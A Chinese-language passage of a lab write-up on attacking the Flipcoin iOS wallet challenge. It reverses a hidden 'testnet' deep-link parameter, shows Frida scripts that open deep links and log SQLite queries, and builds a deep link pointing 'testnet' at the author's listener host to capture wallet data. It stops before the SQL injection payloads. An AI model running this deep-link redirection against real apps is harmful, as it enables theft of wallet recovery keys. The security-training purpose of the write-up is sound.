通过 iOS 应用程序中的深层链接利用未经净化的 URL 处理和 SQL 注入

本文将以两种不同的方式呈现:

  • 对于那些只需要这个发现的关键点的人(InshaAllah,如果读者已经熟悉流程,这将节省大量时间)——请参考 TL;DR 部分。

  • 对于那些需要基本解释以及这一发现背后的执行流程的人,InshaAllah,本节将提供对关键心态的见解,并帮助扩大理解。

请注意,本文将涵盖:
• URL 方案和深层链接的基本说明

• iOS 应用程序目录结构概述

• 使用 Ghidra在应用程序中查找其他参数

• 在目标应用程序中找到 SQLite 数据库

• 将进程与 Frida 挂钩以检测 sqlite3_prepare 功能
• 使用 Frida监控在准备阶段处理的数据库查询

• 制作 SQL 注入有效负载

此外,这篇文章的某些部分——例如安装必要的工具(OpenSSH、Zip、Sideloaded 和 Ghidra)、复制和安装 iOS 应用程序二进制文件以及将其加载到 Ghidra 中——与上一篇文章中的部分相似。

通过使用 Ghidra 绕过 iOS 应用程序越狱检测

为避免重复,此处将简要总结这些部分。

I 介绍

以下是本期的关键步骤:

  • 从应用程序中的 QR 码获取深度链接。

  • 反转应用的二进制文件以识别深层链接中潜在的其他参数。

  • 发现参数和开发 URL(请参阅第 5.5.1 节和 5.5.2 节)。testnet
  • 将参数注入深度链接并将其设置为我们 Web 服务器的 IP。服务器收到来自应用程序的请求,确认该参数未被清理(第 5.6.2 节)。testnettestnet
  • 找到存储敏感数据的 SQLite 数据库并检查其内容。找到一个包含 5 列的表格(第 6.2 节和第 6.3 节)。

  • 确定 to process queries 的用途(第 6.4 节)。sqlite3_prepare
  • 注入到参数中,确认查询反射(第 7.1 节)。amount
  • 利用基于 UNION 的 SQL 注入来提取(第 7.3 节)。recovery_key
  • 总结:由于这是一个需要物理访问的本地 SQL 注入,因此它可以与 unsanitized 参数结合使用,以将提取的数据泄露到攻击者控制的主机。testnet
  • 使用的工具:

    Ghidra、Frida、SQLite 的数据库浏览器、终端、Sideloadly、SSH、nc。

II. 引言

无论是在 Web 还是移动应用程序的应用程序安全测试中,了解应用程序的流程(包括它如何接收和处理输入)对于有效识别潜在漏洞都至关重要。这种理解很重要,因为安全风险可能来自多个层面,从最终用户 (客户) 和幕后的运营管理到支持应用程序的技术组件。

例如,从客户的角度来看,应用程序可能看起来很安全,并且有适当的身份验证和访问控制,但由于后端配置错误或权限过高,它仍然存在风险。例如,连接到 API 终端节点的内部控制面板可能允许不受限制的数据库查询,使员工能够检索超出运营目的所需的客户记录,而无需适当的过滤或日志记录。如果不清楚地掌握数据在系统内的流动方式以及每一层的交互方式,安全测试就有可能变得不那么有效,从而导致被忽视的漏洞或低效的利用。

在实践中,此原则不仅适用于后端配置错误,也适用于由于不完全了解应用程序流而出现的其他安全风险。一个很好的案例是 Flipcoin Lab。从本质上讲,挑战围绕着通过应用程序的深度链接机制利用 SQL 注入。然而,除了技术重点之外,最突出的是它如何加强了解应用程序流程的重要性。鉴于它与现实世界挑战的相关性,我们决定在这篇文章中进一步探讨这个主题。

III. 设置测试环境

和以前一样,越狱设备后准备的第一步是安装和配置多个工具,以便于与设备交互。这些基本工具包括 iOS 上的 OpenSSH、Zip 和 Frida Server,以及桌面上的 Frida、Ghidra 和 Sideloadly。

3.1. 在 iOS 设备上设置工具

3.1.1. 安装 OpenSSH 和 Zip
概括地说,OpenSSH 是通过包管理器(比如 Cydia 或 Sileo)安装的,而是通过在 iOS shell 中运行来安装的。zipapt install zip

OpenSSH 和 Zip

3.1.2. 安装 Frida Server
对于 Frida Server,需要添加一个额外的存储库。在软件包管理器中,在 build.frida.re 处添加存储库。添加后,找到相应的 Frida Server 软件包并继续安装。

安装 Frida 服务器

安装后,通过 SSH 连接到设备并检查已安装的 Frida 版本以确保一切设置正确,从而对其进行验证。

验证已安装的 Frida 服务器

3.2. 在桌面上设置工具

在 iOS 设备上安装必要的工具后,下一步是在桌面上设置所需的工具。尽管不同作系统的安装过程在很大程度上相似,但值得注意的是,某些工具(例如 Sideloadly)目前仅在 macOS 和 Windows 上受支持。

3.2.1. 安装和设置 Frida
网上有很多关于安装 Frida 的教程。但是,为了简化流程,我个人使用了 pip3。

$ pip3 install frida-tools

正确安装后,Frida 将位于 目录中,尽管确切的路径可能会因用户的环境而异。/Users/username/Library/Python/x.x/bin

已安装的 Frida 的位置

为了使 Frida 易于从任何终端会话访问,我们可以通过将目录添加到 PATH 变量来更新我们的 shell 配置文件(例如 Zsh 的 .zshrc 或 Bash 的 .bash_profile)。进行此更改后,可以从终端中的任何位置访问 Frida。

将目录添加到我们的 PATH 变量中

检查已安装的 Frida 版本

3.2.2. 安装 Sideloadly
概括地说,此工具通过绕过 App Store 限制简化了 iOS 设备上的应用程序旁加载。它对于测试未签名的应用程序或部署修改后的版本以进行渗透测试特别有用。但是,请记住:

  • 如果使用免费的 Apple ID,则安装的应用程序将仅运行 7 天,然后需要重新签名。

  • 在某些情况下,如果应用程序已签名或来自受信任的源,则可能不需要 Sideloadly。

  • Sideloadly

     仅适用于 macOS 和 Windows。

Sideloadly 的接口

3.2.3. 安装 Ghidra
与之前广泛使用 Ghidra 进行二进制修补的文章不同,在这种情况下,Ghidra 主要用于分析应用程序在处理请求时使用的参数。

Ghidra 的界面

简而言之,Ghidra 可以从其 GitHub 页面下载。下载后,解压缩文件并通过在已安装 JDK 的环境中运行来启动应用程序。./ghidrarun

有了必要的环境,我们就可以继续执行过程了。此会话中使用的工具数量是有意限制的,因为主要重点是通过深层链接使用 SQLi 泄露数据。

IV. 下载和安装二进制文件

由于我们将使用自己的设备进行测试,因此第一步是下载二进制文件并使用 Sideloadly 进行安装。

但是,如果您还没有 iOS 设备(无论是出于特定考虑还是其他原因),您可以使用 MobileHackingLab 提供的虚拟设备,该设备可通过订阅获得。

从 Lab Dashboard 下载二进制文件

使用 Sideloadly 安装二进制文件

简而言之,一旦通过拖放安装应用程序,它就不会立即运行。在启动它之前,我们需要验证它是否来自受信任的开发人员。这是一个标准步骤,因为该应用程序是使用免费的 Apple ID 签名的。

要做到这一点,请转到设置→通用→VPN和设备管理,然后找到并验证此菜单中列出的开发者资料。

更改 Trust in Settings

之后,将安装该应用程序。

Flipcoin Lab 界面

无法下载应用程序?请改为尝试此作。

如果二进制文件的下载链接无法访问(正如我们在 No-Escape Lab 中所经历的那样),仍然可以通过直接从 MobileHackingLab 提供的虚拟设备中提取二进制文件来获取二进制文件。

通过 MobileHackingLab 的虚拟设备访问应用程序

因此,连接到虚拟设备后,第一步是通过运行以下命令来定位应用程序:

find /var/containers/Bundle/Application/ -name “*.app”

确定应用程序目录后,导航到该目录并将该目录存档在名为 “Payload” 的文件夹中。

复制应用程序

快速提醒一下,iOS 要求将 .app 捆绑包放在“Payload”文件夹中,以便正确识别和安装。不遵循此结构可能会导致错误,例如在使用 Sideloadly 时,“guru meditation b4822c@:*** can't listdir a file”。

打包完成后,可以使用以下命令将 .zip 文件从 iOS 设备传输到桌面:

SCP root@10.11.1.1:/tmp/Flipcoin.zip .

复制应用程序

V. 探索目标中的 URL 方案和深层链接

鉴于本实验的漏洞和目标已知(通过深度链接执行 SQL 注入),通过识别正在使用的深度链接,可以更加集中地了解应用程序流程的过程。

但是,在实际场景中,需要注意的是,在分析应用程序时,关键步骤之一是彻底了解应用程序中的每个功能。这将帮助测试人员识别潜在的漏洞,例如可能被滥用的功能、设计缺陷或访问控制问题。

然后,测试人员可以通过探索应用程序如何处理异常输入并分析生成的输出来改进此方法。此过程有助于发现潜在的差距,例如授权问题、输入验证弱点或未加密的通信。

此外,从最终用户级别到后端的多个层评估应用程序也很重要。通过评估每一层的交互方式,测试人员可以识别可能无法通过单个镜头看到的潜在漏洞。

5.1. 关于应用程序的 URL 方案和深度链接的几句话

在深入研究之前,首先了解 URL 方案和深层链接的概念是很有用的,因为它们在应用程序如何处理外部请求中起着关键作用。

5.1.1. 那么,什么是 URL Scheme?
URL 方案是应用程序使用特殊链接告知作系统如何打开应用程序的一种方式。这就像提供一个快捷方式来打开应用程序的特定部分,而无需手动搜索它。

例如,Facebook 可能会使用类似 .因此,当我们单击以 开头的链接时,作系统知道要打开 Facebook 应用程序。fb://fb://

请务必注意,某些应用程序需要在 URL 方案之后使用额外的端点才能正常运行。这就是深度链接概念的来源 — URL 方案和将应用程序引导至特定部分或作的特定端点的组合。

5.1.1.1. 如果应用程序未安装怎么办?
如果在作系统上找不到与 URL 方案关联的应用程序,系统将显示一条错误消息,因为它无法识别 URL 方案。这是因为 URL 方案仅在设备上安装了应用程序时才会注册。

5.1.1.2. 我注意到未安装的应用程序仍然可以重定向到 App Store。这是怎么发生的呢?
这是通过不同的过程发生的。当我们点击常规 Web URL(例如:https://myapp.com/profile)而不是直接 URL 方案 (myapp://) 时,链接首先在 Web 浏览器中打开。从那里:

  • 网页尝试使用其 URL 方案打开应用程序。

  • 如果未安装应用程序,它将重定向到 App Store。

这个过程快速而无缝地进行,通常使用通用链接 (iOS) 或应用程序链接 (Android),它们比基本 URL 方案更高级。

5.1.2. 那么,什么是 Deep Link?
深度链接是一种特定类型的 URL,它使用“注册的 URL 方案”将用户定向到应用程序中的特定页面或作。常规链接可能会打开网页,而深层链接会打开应用程序内的特定屏幕或部分。简而言之,深度链接依赖于 URL 方案来触发这些作。

例如,在 Facebook 上,深层链接可能如下所示:.此链接将直接打开 Facebook 应用程序,并显示用户的特定个人资料。fb://profile/[user_id]

因此,为了清楚起见,作为回顾:

  • Facebook URL 方案:fb://
  • Facebook 深层链接:fb://profile/[user_id]

通过使用此深度链接,用户可以直接定向到 Facebook 应用程序中的特定个人资料页面,而无需浏览应用程序的其他部分。

5.2. 识别 Target 中的 URL 方案

识别目标使用的 URL 方案的最简单方法之一是查看应用程序捆绑包中的 Info.plist 文件。此信息通常位于 CFBundleURLTypes 参数下。

在二进制文件中找到 Info.plist 文件

作为参考,CFBundleURLTypes 是 iOS 系统中的必需组件,用于注册应用程序的 URL 方案。此参数定义 iOS 系统如何识别特定 URL 方案并将其定向到相应的应用程序。

从技术上讲,在 CFBundleURLTypes 中,有两个主要参数:

  • CFBundleURLSchemes →

     用于定义将使用的方案。示例:Facebook 的 “fb”。

  • CFBundleURLName

     → 通常包含与应用程序的捆绑标识符相关的信息。

对于 Flipcoin 应用程序,我们发现该应用程序的捆绑包名为 com.mobilehackinglab.flipcoinwallet,使用的 URL 方案是 flipcoin

Info.plist 文件中的 CFBundleURLTypes

我找到了 Info.plist,但它不可读。为什么?

如果找不到的 Info.plist 文件以纯文本形式打开,则该文件可能已转换为二进制属性列表。这种格式在 iOS 中通常用于在当前的应用程序开发中存储 plist,因为它被认为在几个方面更有效,例如文件大小和解析速度。

如果发生这种情况,可以使用多种方法来读取文件:

  • 直接使用 Xcode。在 Xcode 中打开时,应用程序将自动以更具可读性的格式显示文件。

  • 或者,我们也可以使用 plutil (macOS 上的内置工具)。这可以通过使用以下命令来完成: .plutil -convert xml1 Info.plist -o Info.xml

5.3. 识别目标中的深度链接。

现在的问题是,如何识别此应用程序中的深层链接?一般来说,可以使用各种方法发现深度链接,包括使用 Giidra 等工具进行二进制分析。但是,在这种情况下,我们发现应用程序内的二维码直接指向格式为 .http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1

在浏览器中访问此链接时,它会唯一地通知用户找不到服务器。经过进一步检查,发现浏览器正在去除 后面的冒号 ()。发生这种情况可能是因为浏览器首先遇到前缀,它将其识别为标准 Web 协议。因此,它会将自定义 URL 方案错误地解释为域名的一部分,然后删除 之后的冒号,最终导致 URL 无效。:flipcoinhttp://flipcoin://flipcoin

无法识别 Deep Link

但是,当从扫描的 QR 码结果中删除前缀时,剩余的链接将生效并成功重定向到应用程序。这确认了深层链接以 .http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1

打开 Deep Link

5.4. 在 iOS 中验证和打开深度链接

既然已经确定了深度链接格式,那么下一个问题是:当触发此链接时,iOS 如何处理它?此过程的核心在于系统解析和打开 URL 方案的能力。

假设用户点击了如下深度链接:flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1

发生这种情况时,iOS 首先检查是否注册了任何已安装的应用程序来处理该方案。如果找到匹配的应用程序,系统会启动该应用程序并将 URL 作为输入传递。否则,深层链接不执行任何作。flipcoin://

可能会出现一个问题:应用程序如何在尝试打开深度链接之前确定它是否受支持?在这种情况下,应用通常会先使用以下方法验证网址方案:

<span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#aa0d91">if</span> <span style="color:#5c2699">UIApplication</span>.shared.canOpenURL(<span style="color:#5c2699">URL</span>(string: <span style="color:#c41a16">"flipcoin://"</span>)!) {
}</span></span>

如果支持 URL 方案,则应用程序可以使用以下方法启动深层链接:

<span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#5c2699">UIApplication</span>.shared.open(<span style="color:#5c2699">URL</span>(string: <span style="color:#c41a16">"flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1"</span>)!)</span></span>

此行为允许应用程序使用深层链接无缝导航,同时防止不必要地尝试打开不受支持的 URL。

为了更深入地了解,读者可以参考苹果官方关于 canOpenURL(_:) 和 open(_:options:completionHandler:) 的文档,了解 iOS 是如何验证和启动深度链接的。

5.5. 通过二进制分析分析深度链接处理

在了解了 iOS 如何判断深度链接是否可以打开以及应用如何对外响应之后,还有一个问题:收到 深度链接后,内部如何处理它?flipcoin

发现这一点的一种方法是分析应用程序的二进制文件,这可以揭示如何处理深度链接、接受哪些参数以及是否存在任何未记录的行为。这可能包括发现影响深度链接行为的隐藏参数或识别未公开记录的终端节点。

5.5.1. 在 Ghidra
中搜索 openURL 引用
在分析二进制文件时,我们可以使用 Ghidra — 就像以前用来修补二进制文件以绕过应用程序中的越狱检测一样。

回顾一下那篇文章,在这种情况下,我们需要:
• 将二进制文件导入 Ghidra。
• 启用 Decompiler Parameter ID 以提高可读性。

加载二进制文件后,下一步是什么?
一种可能的方法是在 Ghidra 的 Symbol Tree 列中搜索引用,以识别引用它的函数。openURL

请注意,虽然现代 iOS 开发依赖于 和 ,但搜索对于二进制分析仍然很有用,因为:
• 某些应用程序仍保留在旧版或内部实现中。
• 调试信息和元件名称通常引用此术语。canOpenURL(:)open(:options:completionHandler:)openURLopenURL

简而言之,通过在 Symbol Tree 中搜索,我们在 SceneDelegate 中确定了一个函数,该函数似乎通过属性处理深层链接处理。openURLopenURLContexts

经过进一步检查,函数名称显示为:
_$s15Flipcoin_Wallet13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF

在这个函数中,我们发现了一个有趣的发现——除了参数之外,参数还被引用,这表明它也可能影响深度链接的处理方式。amounttestnet

下面是显示此参数的代码片段:

<span style="background-color:#f9f9f9"><span style="color:#242424">_objc_msgSend(local_4d8,<span style="color:#c41a16">"URL"</span>);
_objc_retainAutoreleasedReturnValue();
local_6d0 = <span style="color:#5c2699">UVar14</span>.unknown;
<span style="color:#5c2699">Foundation</span>::<span style="color:#5c2699">URL</span>::<span style="color:#3f6e74">$_unconditionallyBridgeFromObjectiveC</span>(<span style="color:#5c2699">UVar14</span>);
(*local_4c8)(<span style="color:#5c2699">UVar16</span>.unknown,local_2d8,local_380);
<span style="color:#5c2699">SVar31</span> = <span style="color:#5c2699">Foundation</span>::<span style="color:#5c2699">URL</span>::get_absoluteString(<span style="color:#5c2699">UVar16</span>);
...
<span style="color:#5c2699">SVar31</span> = <span style="color:#5c2699">Swift</span>::<span style="color:#5c2699">String</span>::<span style="color:#aa0d91">init</span>(<span style="color:#c41a16">"amount"</span>,<span style="color:#1c00cf">6</span>,<span style="color:#1c00cf">1</span>);
...
<span style="color:#5c2699">SVar31</span> = <span style="color:#5c2699">Foundation</span>::<span style="color:#5c2699">URL</span>::get_absoluteString(<span style="color:#5c2699">UVar16</span>);
...
<span style="color:#5c2699">SVar31</span> = <span style="color:#5c2699">Swift</span>::<span style="color:#5c2699">String</span>::<span style="color:#aa0d91">init</span>(<span style="color:#c41a16">"testnet"</span>,<span style="color:#1c00cf">7</span>,(byte)local_6ac & <span style="color:#1c00cf">1</span>);</span></span>

找到几个参数

5.5.2. 找到一个有趣的 URL
作为一个小提示,当在同一函数中进一步向下滚动时,我们可以看到 URL https://mhl.pages.dev:8545

找到 URL

鉴于我的理解有限,我只能怀疑这个 URL 可能与 有关。testnet

根据流程,如果该值留空,则 URL 默认为 https://mhl.pages.dev:8545。同时,如果提供了一个值,则 URL 似乎是从该 input 中获取的。testnet

但是,当尝试执行具有空值的深层链接时,应用程序会意外崩溃。这为初始假设是否真的正确带来了一些不确定性。testnet

5.6. 重建 Deep Link

现在,让我们回到主题。在确定其他参数后,下一个逻辑步骤是验证此参数是否可以在我们最初通过 QR 码发现的深度链接中使用。testnet

快速回顾一下,我们找到的原始深度链接是:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1

现在,我们将尝试向其添加参数。由于此参数有可能接受 URL,因此我们可以尝试为此参数使用我们自己的主机。这可以使用或其他类似工具进行测试。testnetnc

简而言之,修改后的深度链接将是:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177

那么我们如何打开这个 URL 呢?有多种方法可以做到这一点。我们可以使用 qr-code-generator.com 等服务生成二维码并扫描它,或者我们可以使用 Frida 直接执行它。

使用 QR 码生成器服务的示例

5.6.1. 使用 Frida
测试 Deep Link 参数
现在,假设我们选择 Frida 来简化作 — 这样我们就不必在每次修改 Deep Link 时都生成 QR 码。但是我们需要什么样的脚本呢?

作为参考,有一个著名的 Frida 脚本,名为 ios-deeplink-fuzzing,可用于检测 URL 方案,使用 Apple 的 API 直接访问深度链接,甚至模糊测试参数来分析应用程序如何处理深度链接。

但是,由于我们在这里的重点只是执行特定的深度链接,而不是执行完整的模糊测试过程,因此我们可以简化该方法。在原始脚本的基础上,我们将其修改为以下最低版本:

<span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#aa0d91">if</span> (ObjC.available) {
    <span style="color:#aa0d91">var</span> LSApplicationWorkspace = ObjC.classes.LSApplicationWorkspace;
    <span style="color:#aa0d91">if</span> (!LSApplicationWorkspace) {
        console.log(<span style="color:#c41a16">"LSApplicationWorkspace not found!"</span>);
    } <span style="color:#aa0d91">else</span> {
        globalThis.execURL = <span style="color:#aa0d91">function</span> (<span style="color:#5c2699">url</span>) {
            <span style="color:#aa0d91">var</span> workspace = LSApplicationWorkspace.defaultWorkspace();
            <span style="color:#aa0d91">var</span> success = workspace.openSensitiveURL_withOptions_(ObjC.classes.NSURL.URLWithString_(url), <span style="color:#aa0d91">null</span>);
            console.log(<span style="color:#c41a16">"Attempted to execute URL:"</span>, url, <span style="color:#c41a16">"| Success:"</span>, success);
            <span style="color:#aa0d91">return</span> success;
        };

        console.log(<span style="color:#c41a16">"execURL is now available. Use execURL('scheme://path') in Frida."</span>);
    }
} <span style="color:#aa0d91">else</span> {
    console.log(<span style="color:#c41a16">"Objective-C Runtime is not available!"</span>);
}</span></span>

当使用 Frida 将此脚本注入到正在运行的 iOS 应用程序中时,它首先检查 Objective-C 运行时是否可用。然后,它访问以与已安装的应用程序交互并定义 execURL,这是一个使用 .最后,它在全球范围内可用,因此可以直接从 Frida 运行。LSApplicationWorkspaceopenSensitiveURL_withOptions_execURL

有了这个,我们可以通过运行以下命令在 Frida 中执行一个深层链接:
execURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177");

在 Frida 中执行 Deep Link

如果您还不熟悉 Frida,该命令用于枚举 iOS 设备上正在运行的进程(确保您的设备已连接到运行 Frida 的主机)。frida-ps -U

为了简化作,我们可以使用 grep 应用过滤器(可在 macOS 和基于 Linux 的作系统上使用)来优化结果:
% frida-ps -U | grep Flipcoin

获得目标应用程序的进程 ID 后,我们可以继续:
% frida -U -p (process_ID) -l execURL.js

请记下我们之前创建的修改后的脚本。execURL.js

5.6.2. 观察应用程序的响应并发现一个允许任意 URL
的不受限制的测试网参数
起初,当使用(QR 码的默认值)发送请求并设置为我们主机的 IP 地址时,我们遇到了一条消息,指出我们没有足够的 Flipcoins 来完成交易。amount=1testnet

测试量 = 1

没有足够的 Flipcoin

为了进一步探索,我们将金额修改为 和 ,考虑到应用内余额为 。这一次,该应用程序将我们重定向到资金转账界面。0.10.20.3654

测试量 = 0.1 或 0.2

应用程序将我们重定向到 Transaction 页面。

更有趣的是,我们注意到应用程序向主机上运行的侦听器发送了一个请求。nc

来自 nc 的回应

这证实了参数接受 URL 的假设。此外,似乎没有对此参数强制执行白名单,从而允许提供任意 URL。testnet

最好的部分是什么?当应用程序执行指向我们主机的深度链接时,它实际上会发送一个请求 — 该请求似乎包含应用程序使用的 Flipcoin 地址。testnet

顺便说一句,我们还可以使用像 Burp Suite 这样的拦截工具来检查请求。

侦听器工具中的响应

因此,总之,当我们访问包含 URL 的深度链接时,应用程序会间接将其转换为对参数中指定的 URL 的 POST 请求。testnet

在我们的 Web 服务器/拦截器中收到这样的请求后,下一步是检查应用程序使用的数据库结构。这将帮助我们确定传输值的存储位置以及如何作它们。

VI. 分析应用程序内的 SQLite 使用情况

通常,移动应用程序依赖轻量级 DBMS 进行本地存储,最常用的选择之一是 SQLite

它的受欢迎程度源于它是一个独立的、无服务器的、高效的数据库引擎,需要最少的设置。由于 iOS 和 Android 都提供了对 SQLite 的内置支持,因此开发人员可以利用其 SQL 功能,而无需额外的依赖项。此外,SQLite 的快速读/写作和低资源消耗使其成为存储用户数据、缓存和应用程序配置的理想选择。

考虑到这一点,我们现在继续确定此应用程序是否使用 SQLite 及其数据库的存储位置。

6.1. 关于 iOS 中应用程序目录的几句话

在 iOS 中,应用程序将本地数据存储在其沙盒目录中。持久数据(包括 SQLite 数据库)的常见位置是应用程序容器内的 or 文件夹。LibraryDocuments

从技术上讲,每个应用程序都有一个独立的存储结构,通常如下所示:

<span style="background-color:#f9f9f9"><span style="color:#242424">/<span style="color:#aa0d91">var</span>/mobile/<span style="color:#5c2699">Containers</span>/<span style="color:#5c2699">Data</span>/<span style="color:#5c2699">Application</span>/<<span style="color:#5c2699">App_UUID</span>>/
├── <span style="color:#5c2699">Documents</span>/
├── <span style="color:#5c2699">Library</span>/
│   ├── <span style="color:#5c2699">Application</span> <span style="color:#5c2699">Support</span>/
│   ├── <span style="color:#5c2699">Caches</span>/
├── tmp/</span></span>

此处是分配给每个应用程序的唯一标识符,该标识符在重新安装应用程序时会发生变化<App_UUID>

以下是这些目录及其功能的简要概述:

  • Documents/– 用于存储用户生成的内容。一些应用程序将数据库放在这里,但对于可能通过 iCloud 共享或备份的文件,这个位置更常见由于此目录包含在 iCloud 备份中,因此除非必要,否则开发人员通常会避免在此处存储敏感数据。
  • Library/– 此目录通常存储与应用程序相关的数据,包括 SQLite 数据库、配置文件和缓存。虽然通常包含持久性存储(如本地数据库),但保存可在需要时重新生成的临时数据。注意:与目录不同 , 用户不能直接访问,但仍可用于应用程序内部作。Application SupportCachesDocumentsLibrary
  • tmp/– 系统可以随时删除的临时文件。

6.2. 查找 SQLite 数据库

要确定应用程序是否使用 SQLite 及其数据库的存储位置,一种常见的方法是与设备建立 SSH 连接并直接检查其文件系统。
$ find /var/mobile/Containers/Data/Application/ -name “*.sqlite”

查找 .sqlite 文件

从本质上讲,我们可以通过过滤与应用程序相关的数据库文件来优化结果。但是,开发人员并不总是以应用程序本身命名 SQLite 文件。因此,我个人建议花时间手动检查目录内容,以确保不会遗漏任何重要内容。grep

作为参考,此应用程序包含 4 个 SQLite 文件:

• 位于目录中
• 位于 • 位于 • 位于your_database_name.sqliteDocumentsFlipcoin_Wallet.sqlite/Library/Application Support/
AlternativeService.sqlite/Library/Caches/...
httpstorages.sqlite/Library/HTTPStorages/...

其中,存储实际数据的数据库是位于目录中的数据库,即 。Documentsyour_database_name.sqlite

sqlite 文件

有时,在包含 SQLite 文件的目录中,您可能还会遇到带有 和 扩展名的文件。如果您想知道这些文件是什么,它们是 SQLite 在预写日志记录 (WAL) 模式下运行时使用的支持文件。sqlite-walsqlite-shm

• (预写日志):在将未提交的事务写入主数据库文件之前存储这些事务。-wal

• (共享内存):管理对数据库的并发访问以确保一致性。-shm

无论如何,我们可以忽略它们并专注于文件。.sqlite

6.3. 探索 SQLite 数据库的内容

现在我们已经确定了数据库文件,我们可以浏览其内容以了解其结构和存储的数据。

从技术上讲,这可以使用各种工具来完成,例如 sqlite3 CLI 或 SQL 的数据库浏览器。无论使用哪种工具,我们都需要打开以检查其结构。your_database_name.sqlite

将 sqlite 文件复制到本地计算机

所以,经过检查,我们发现钱包表由 5 列组成,分别是 idaddresscurrencyamount 和 recovery_key。虽然我们已经获得了标志,但必须通过 SQL 注入来实现目标,而不是通过使用此方法或反转二进制文件。

找到表格

但是,在汇款屏幕上,仅显示第 1 行的金额地址

仅显示第 1 行的金额和地址

也就是说,在拦截请求时,我们只能观察到应用程序发送的请求包含地址也许还有第 1 行的 id

仅显示 Address (地址) ,可能还会显示第 1 行中的 ID

6.4. 使用 Frida 确定 SQLite 函数的使用情况

一旦我们了解了应用程序使用的 SQLite 数据库的结构,我们就可以继续确定如何处理查询,尤其是在执行之前(如果适用)的准备阶段。

尽管核心 SQL 语法(如 SELECT、INSERT、UPDATE 和 DELETE)保持一致,但我相信观察正在使用的 SQLite prepare 函数可以为应用程序如何构建其查询提供有价值的见解。

通过使用 Frida 拦截通过 SQLite 的准备函数进行的数据库调用,我们可以在准备查询时观察它们。由于 iOS 应用程序通常依赖于处理 SQL 查询,因此挂接这些函数有助于我们了解在准备阶段如何处理查询。libsqlite3.dylib

以下 Frida 脚本演示了此方法:

<span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#aa0d91">const</span> SQL_PREPARE_VARIANTS = [
    <span style="color:#c41a16">"sqlite3_prepare"</span>,
    <span style="color:#c41a16">"sqlite3_prepare_v2"</span>,
    <span style="color:#c41a16">"sqlite3_prepare_v3"</span>,
    <span style="color:#c41a16">"sqlite3_prepare16"</span>,
    <span style="color:#c41a16">"sqlite3_prepare16_v2"</span>,
    <span style="color:#c41a16">"sqlite3_prepare16_v3"</span>
];

SQL_PREPARE_VARIANTS.forEach(interceptSQLiteFunction);

<span style="color:#aa0d91">function</span> interceptSQLiteFunction(<span style="color:#5c2699">prepareFunction</span>) {
    <span style="color:#aa0d91">let</span> dbFunction = Module.findExportByName(<span style="color:#c41a16">"libsqlite3.dylib"</span>, prepareFunction);
    
    <span style="color:#aa0d91">if</span> (!dbFunction) {
        <span style="color:#aa0d91">return</span>;
    }

    Interceptor.attach(dbFunction, {
        onEnter(<span style="color:#5c2699">args</span>) {
            <span style="color:#aa0d91">let</span> query = args[<span style="color:#1c00cf">1</span>];
            <span style="color:#aa0d91">let</span> isUTF16 = prepareFunction.endsWith(<span style="color:#c41a16">"16"</span>) || 
                         prepareFunction.includes(<span style="color:#c41a16">"prepare16"</span>);
            
            logQueryDetails(prepareFunction, query, isUTF16);
        },
        onLeave(<span style="color:#5c2699">returnValue</span>) {}
    });
}

<span style="color:#aa0d91">function</span> logQueryDetails(<span style="color:#5c2699">funcName, query, isUTF16</span>) {
    <span style="color:#aa0d91">let</span> timestamp = <span style="color:#aa0d91">new</span> Date().toISOString();
    <span style="color:#aa0d91">let</span> queryText = isUTF16 ? query.readUtf16String() : query.readCString();
    
    console.log(<span style="color:#c41a16">"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"</span>);
    console.log(<span style="color:#c41a16">`⏰ Time: <span style="color:#000000">${timestamp}</span>`</span>);
    console.log(<span style="color:#c41a16">`📌 Function: <span style="color:#000000">${funcName}</span>`</span>);
    console.log(<span style="color:#c41a16">`📝 Encoding: <span style="color:#000000">${isUTF16 ? <span style="color:#c41a16">'UTF-16'</span> : <span style="color:#c41a16">'UTF-8'</span>}</span>`</span>);
    console.log(<span style="color:#c41a16">`🔍 Query: <span style="color:#000000">${queryText}</span>`</span>);
    console.log(<span style="color:#c41a16">"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"</span>);
}</span></span>

作为参考,该函数有六种变体,每种变体在参数和行为上略有不同。这些包括:
• • • • • • sqlite3_preparesqlite3_prepare
sqlite3_prepare_v2
sqlite3_prepare_v3
sqlite3_prepare16
sqlite3_prepare16_v2
sqlite3_prepare16_v3

有关这些函数之间差异的详细说明,请参阅 SQLite 官方文档

确保此脚本已保存(例如,as )后,下一步是使用 Frida 将其加载到 Flipcoin Wallet 应用程序进程中。一旦挂钩进程运行,我们就可以使用所选方法打开深层链接。sql-detect.js

请注意:

  • 如果我们使用二维码,我们只需生成二维码格式的链接并使用设备扫描即可。

  • 但是,如果我们通过 打开深度链接,则需要将此脚本与 SQL 函数检测脚本一起加载。execURL.js

在这种情况下,我们决定使用我们之前创建的脚本,因此在挂接到应用程序时需要同时加载两个脚本。execURL.js

% frida -U -p (process_ID) -l sql-detect.js -l execURL.js

执行时 amount=1

执行时 amount=0.1

总之,根据这个执行,我们可以看到应用程序使用了 .一个积极的方面是,我们还可以在每次执行作时监控数据库执行的每个查询。sqlite3_prepare

无论发送的金额大于还是小于可用余额,结果都保持不变。

VII. 对 amount 参数执行 SQL 注入

由于我们已经收集了所有必要的信息,例如数据库类型、表名、列数和名称,以及界面中显示的数据以及在请求中发送到外部主机的数据,我们现在可以继续执行我们的主要目标,即执行 SQL 注入。

但是,需要注意的是,在实际测试中,漏洞并不总是立即显现出来。因此,必须对不同用户层的每个功能进行全面测试,以确定其对 SQL 注入或其他形式攻击的敏感性。

回到主题,测试 SQL 注入的最直接方法是直接注入 SQL 查询并观察结果响应。

由于先前加载的脚本允许我们查看在作期间执行的每个查询,因此分析应用程序对注入尝试的响应变得更加容易。sql-detect.js

7.1. 基本测试

